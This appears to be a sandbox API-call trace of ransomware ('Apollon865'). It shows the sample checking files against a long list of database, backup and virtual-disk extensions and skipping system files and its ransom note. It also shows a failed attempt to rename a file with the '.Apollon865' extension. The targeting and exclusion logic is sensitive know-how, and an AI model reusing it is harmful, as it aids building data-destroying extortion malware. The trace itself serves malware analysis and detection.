	[0084.919] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0084.919] lstrlenW (lpString="sqlite") returned 6
	[0084.919] lstrcmpiW (lpString1="er.ico", lpString2="sqlite") returned -1
	[0084.919] lstrlenW (lpString="sqlite3") returned 7
	[0084.919] lstrcmpiW (lpString1="der.ico", lpString2="sqlite3") returned -1
	[0084.919] lstrlenW (lpString="sqlitedb") returned 8
	[0084.919] lstrcmpiW (lpString1="lder.ico", lpString2="sqlitedb") returned -1
	[0084.919] lstrlenW (lpString="xml") returned 3
	[0084.919] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0084.919] lstrlenW (lpString="$er") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0084.920] lstrlenW (lpString="4dd") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0084.920] lstrlenW (lpString="4dl") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0084.920] lstrlenW (lpString="^^^") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0084.920] lstrlenW (lpString="abs") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0084.920] lstrlenW (lpString="abx") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0084.920] lstrlenW (lpString="accdb") returned 5
	[0084.920] lstrcmpiW (lpString1="r.ico", lpString2="accdb") returned 1
	[0084.920] lstrlenW (lpString="accdc") returned 5
	[0084.920] lstrcmpiW (lpString1="r.ico", lpString2="accdc") returned 1
	[0084.920] lstrlenW (lpString="accde") returned 5
	[0084.920] lstrcmpiW (lpString1="r.ico", lpString2="accde") returned 1
	[0084.920] lstrlenW (lpString="accdr") returned 5
	[0084.920] lstrcmpiW (lpString1="r.ico", lpString2="accdr") returned 1
	[0084.920] lstrlenW (lpString="accdt") returned 5
	[0084.920] lstrcmpiW (lpString1="r.ico", lpString2="accdt") returned 1
	[0084.920] lstrlenW (lpString="accdw") returned 5
	[0084.920] lstrcmpiW (lpString1="r.ico", lpString2="accdw") returned 1
	[0084.920] lstrlenW (lpString="accft") returned 5
	[0084.920] lstrcmpiW (lpString1="r.ico", lpString2="accft") returned 1
	[0084.920] lstrlenW (lpString="adb") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.920] lstrlenW (lpString="adb") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.920] lstrlenW (lpString="ade") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0084.920] lstrlenW (lpString="adf") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0084.920] lstrlenW (lpString="adn") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0084.920] lstrlenW (lpString="adp") returned 3
	[0084.920] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0084.921] lstrlenW (lpString="alf") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0084.921] lstrlenW (lpString="ask") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0084.921] lstrlenW (lpString="btr") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0084.921] lstrlenW (lpString="cat") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0084.921] lstrlenW (lpString="cdb") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0084.921] lstrlenW (lpString="ckp") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0084.921] lstrlenW (lpString="cma") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0084.921] lstrlenW (lpString="cpd") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0084.921] lstrlenW (lpString="dacpac") returned 6
	[0084.921] lstrcmpiW (lpString1="er.ico", lpString2="dacpac") returned 1
	[0084.921] lstrlenW (lpString="dad") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0084.921] lstrlenW (lpString="dadiagrams") returned 10
	[0084.921] lstrlenW (lpString="daschema") returned 8
	[0084.921] lstrcmpiW (lpString1="lder.ico", lpString2="daschema") returned 1
	[0084.921] lstrlenW (lpString="db-journal") returned 10
	[0084.921] lstrlenW (lpString="db-shm") returned 6
	[0084.921] lstrcmpiW (lpString1="er.ico", lpString2="db-shm") returned 1
	[0084.921] lstrlenW (lpString="db-wal") returned 6
	[0084.921] lstrcmpiW (lpString1="er.ico", lpString2="db-wal") returned 1
	[0084.921] lstrlenW (lpString="dbc") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0084.921] lstrlenW (lpString="dbs") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0084.921] lstrlenW (lpString="dbt") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0084.921] lstrlenW (lpString="dbv") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0084.921] lstrlenW (lpString="dbx") returned 3
	[0084.921] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0084.922] lstrlenW (lpString="dcb") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0084.922] lstrlenW (lpString="dct") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0084.922] lstrlenW (lpString="dcx") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0084.922] lstrlenW (lpString="ddl") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0084.922] lstrlenW (lpString="dlis") returned 4
	[0084.922] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0084.922] lstrlenW (lpString="dp1") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0084.922] lstrlenW (lpString="dqy") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0084.922] lstrlenW (lpString="dsk") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0084.922] lstrlenW (lpString="dsn") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0084.922] lstrlenW (lpString="dtsx") returned 4
	[0084.922] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0084.922] lstrlenW (lpString="dxl") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0084.922] lstrlenW (lpString="eco") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0084.922] lstrlenW (lpString="ecx") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0084.922] lstrlenW (lpString="edb") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0084.922] lstrlenW (lpString="epim") returned 4
	[0084.922] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0084.922] lstrlenW (lpString="fcd") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0084.922] lstrlenW (lpString="fdb") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0084.922] lstrlenW (lpString="fic") returned 3
	[0084.922] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0084.922] lstrlenW (lpString="flexolibrary") returned 12
	[0084.922] lstrlenW (lpString="fm5") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0084.923] lstrlenW (lpString="fmp") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0084.923] lstrlenW (lpString="fmp12") returned 5
	[0084.923] lstrcmpiW (lpString1="r.ico", lpString2="fmp12") returned 1
	[0084.923] lstrlenW (lpString="fmpsl") returned 5
	[0084.923] lstrcmpiW (lpString1="r.ico", lpString2="fmpsl") returned 1
	[0084.923] lstrlenW (lpString="fol") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0084.923] lstrlenW (lpString="fp3") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0084.923] lstrlenW (lpString="fp4") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0084.923] lstrlenW (lpString="fp5") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0084.923] lstrlenW (lpString="fp7") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0084.923] lstrlenW (lpString="fpt") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0084.923] lstrlenW (lpString="frm") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0084.923] lstrlenW (lpString="gdb") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0084.923] lstrlenW (lpString="gdb") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0084.923] lstrlenW (lpString="grdb") returned 4
	[0084.923] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0084.923] lstrlenW (lpString="gwi") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0084.923] lstrlenW (lpString="hdb") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0084.923] lstrlenW (lpString="his") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0084.923] lstrlenW (lpString="ib") returned 2
	[0084.923] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0084.923] lstrlenW (lpString="idb") returned 3
	[0084.923] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0084.923] lstrlenW (lpString="ihx") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0084.924] lstrlenW (lpString="itdb") returned 4
	[0084.924] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0084.924] lstrlenW (lpString="itw") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0084.924] lstrlenW (lpString="jet") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0084.924] lstrlenW (lpString="jtx") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0084.924] lstrlenW (lpString="kdb") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0084.924] lstrlenW (lpString="kexi") returned 4
	[0084.924] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0084.924] lstrlenW (lpString="kexic") returned 5
	[0084.924] lstrcmpiW (lpString1="r.ico", lpString2="kexic") returned 1
	[0084.924] lstrlenW (lpString="kexis") returned 5
	[0084.924] lstrcmpiW (lpString1="r.ico", lpString2="kexis") returned 1
	[0084.924] lstrlenW (lpString="lgc") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0084.924] lstrlenW (lpString="lwx") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0084.924] lstrlenW (lpString="maf") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0084.924] lstrlenW (lpString="maq") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0084.924] lstrlenW (lpString="mar") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0084.924] lstrlenW (lpString="marshal") returned 7
	[0084.924] lstrcmpiW (lpString1="der.ico", lpString2="marshal") returned -1
	[0084.924] lstrlenW (lpString="mas") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0084.924] lstrlenW (lpString="mav") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0084.924] lstrlenW (lpString="maw") returned 3
	[0084.924] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0084.924] lstrlenW (lpString="mdbhtml") returned 7
	[0084.924] lstrcmpiW (lpString1="der.ico", lpString2="mdbhtml") returned -1
	[0084.925] lstrlenW (lpString="mdn") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0084.925] lstrlenW (lpString="mdt") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0084.925] lstrlenW (lpString="mfd") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0084.925] lstrlenW (lpString="mpd") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0084.925] lstrlenW (lpString="mrg") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0084.925] lstrlenW (lpString="mud") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0084.925] lstrlenW (lpString="mwb") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0084.925] lstrlenW (lpString="myd") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0084.925] lstrlenW (lpString="ndf") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0084.925] lstrlenW (lpString="nnt") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0084.925] lstrlenW (lpString="nrmlib") returned 6
	[0084.925] lstrcmpiW (lpString1="er.ico", lpString2="nrmlib") returned -1
	[0084.925] lstrlenW (lpString="ns2") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0084.925] lstrlenW (lpString="ns3") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0084.925] lstrlenW (lpString="ns4") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0084.925] lstrlenW (lpString="nsf") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0084.925] lstrlenW (lpString="nv") returned 2
	[0084.925] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0084.925] lstrlenW (lpString="nv2") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0084.925] lstrlenW (lpString="nwdb") returned 4
	[0084.925] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0084.925] lstrlenW (lpString="nyf") returned 3
	[0084.925] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0084.926] lstrlenW (lpString="odb") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0084.926] lstrlenW (lpString="odb") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0084.926] lstrlenW (lpString="oqy") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0084.926] lstrlenW (lpString="ora") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0084.926] lstrlenW (lpString="orx") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0084.926] lstrlenW (lpString="owc") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0084.926] lstrlenW (lpString="p96") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0084.926] lstrlenW (lpString="p97") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0084.926] lstrlenW (lpString="pan") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0084.926] lstrlenW (lpString="pdb") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0084.926] lstrlenW (lpString="pdm") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0084.926] lstrlenW (lpString="pnz") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0084.926] lstrlenW (lpString="qry") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0084.926] lstrlenW (lpString="qvd") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0084.926] lstrlenW (lpString="rbf") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0084.926] lstrlenW (lpString="rctd") returned 4
	[0084.926] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0084.926] lstrlenW (lpString="rod") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0084.926] lstrlenW (lpString="rodx") returned 4
	[0084.926] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0084.926] lstrlenW (lpString="rpd") returned 3
	[0084.926] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0084.927] lstrlenW (lpString="rsd") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0084.927] lstrlenW (lpString="sas7bdat") returned 8
	[0084.927] lstrcmpiW (lpString1="lder.ico", lpString2="sas7bdat") returned -1
	[0084.927] lstrlenW (lpString="sbf") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0084.927] lstrlenW (lpString="scx") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0084.927] lstrlenW (lpString="sdb") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0084.927] lstrlenW (lpString="sdc") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0084.927] lstrlenW (lpString="sdf") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0084.927] lstrlenW (lpString="sis") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0084.927] lstrlenW (lpString="spq") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0084.927] lstrlenW (lpString="te") returned 2
	[0084.927] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0084.927] lstrlenW (lpString="teacher") returned 7
	[0084.927] lstrcmpiW (lpString1="der.ico", lpString2="teacher") returned -1
	[0084.927] lstrlenW (lpString="tmd") returned 3
	[0084.927] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0084.928] lstrlenW (lpString="tps") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0084.928] lstrlenW (lpString="trc") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0084.928] lstrlenW (lpString="trc") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0084.928] lstrlenW (lpString="trm") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0084.928] lstrlenW (lpString="udb") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0084.928] lstrlenW (lpString="udl") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0084.928] lstrlenW (lpString="usr") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0084.928] lstrlenW (lpString="v12") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0084.928] lstrlenW (lpString="vis") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0084.928] lstrlenW (lpString="vpd") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0084.928] lstrlenW (lpString="vvv") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0084.928] lstrlenW (lpString="wdb") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0084.928] lstrlenW (lpString="wmdb") returned 4
	[0084.928] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0084.928] lstrlenW (lpString="wrk") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0084.928] lstrlenW (lpString="xdb") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0084.928] lstrlenW (lpString="xld") returned 3
	[0084.928] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0084.928] lstrlenW (lpString="xmlff") returned 5
	[0084.928] lstrcmpiW (lpString1="r.ico", lpString2="xmlff") returned -1
	[0084.928] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico.Apollon865") returned 107
	[0084.928] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.929] GetLastError () returned 0x5
	[0084.929] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico MoveFileEx error 5\r\n") returned 125
	[0084.929] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico MoveFileEx error 5\r\n") returned 125
	[0084.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.930] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5711
	[0084.930] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7d, lpOverlapped=0x0) returned 1
	[0084.930] CloseHandle (hObject=0x9c) returned 1
	[0084.930] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.930] CloseHandle (hObject=0x0) returned 0
	[0084.930] CloseHandle (hObject=0x0) returned 0
	[0084.930] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd5cd10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.930] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.931] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2=".") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="..") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="windows") returned -1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="bootmgr") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="temp") returned -1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="pagefile.sys") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="boot") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="ids.txt") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="ntuser.dat") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="perflogs") returned 1
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2="MSBuild") returned 1
	[0084.931] lstrlenW (lpString="print_pref.ico") returned 14
	[0084.931] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned 96
	[0084.931] lstrcpyW (in: lpString1=0x119e6b4, lpString2="print_pref.ico" | out: lpString1="print_pref.ico") returned="print_pref.ico"
	[0084.931] lstrlenW (lpString="print_pref.ico") returned 14
	[0084.931] lstrlenW (lpString="Apollon865") returned 10
	[0084.931] lstrcmpiW (lpString1="t_pref.ico", lpString2="Apollon865") returned 1
	[0084.931] lstrlenW (lpString=".dll") returned 4
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2=".dll") returned 1
	[0084.931] lstrlenW (lpString=".lnk") returned 4
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2=".lnk") returned 1
	[0084.931] lstrlenW (lpString=".ini") returned 4
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2=".ini") returned 1
	[0084.931] lstrlenW (lpString=".sys") returned 4
	[0084.931] lstrcmpiW (lpString1="print_pref.ico", lpString2=".sys") returned 1
	[0084.931] lstrlenW (lpString="print_pref.ico") returned 14
	[0084.931] lstrlenW (lpString="bak") returned 3
	[0084.931] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0084.931] lstrlenW (lpString="ba_") returned 3
	[0084.931] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0084.931] lstrlenW (lpString="dbb") returned 3
	[0084.931] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0084.931] lstrlenW (lpString="vmdk") returned 4
	[0084.931] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0084.932] lstrlenW (lpString="rar") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0084.932] lstrlenW (lpString="zip") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0084.932] lstrlenW (lpString="tgz") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0084.932] lstrlenW (lpString="vbox") returned 4
	[0084.932] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0084.932] lstrlenW (lpString="vdi") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0084.932] lstrlenW (lpString="vhd") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0084.932] lstrlenW (lpString="vhdx") returned 4
	[0084.932] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0084.932] lstrlenW (lpString="avhd") returned 4
	[0084.932] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0084.932] lstrlenW (lpString="db") returned 2
	[0084.932] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0084.932] lstrlenW (lpString="db2") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0084.932] lstrlenW (lpString="db3") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0084.932] lstrlenW (lpString="dbf") returned 3
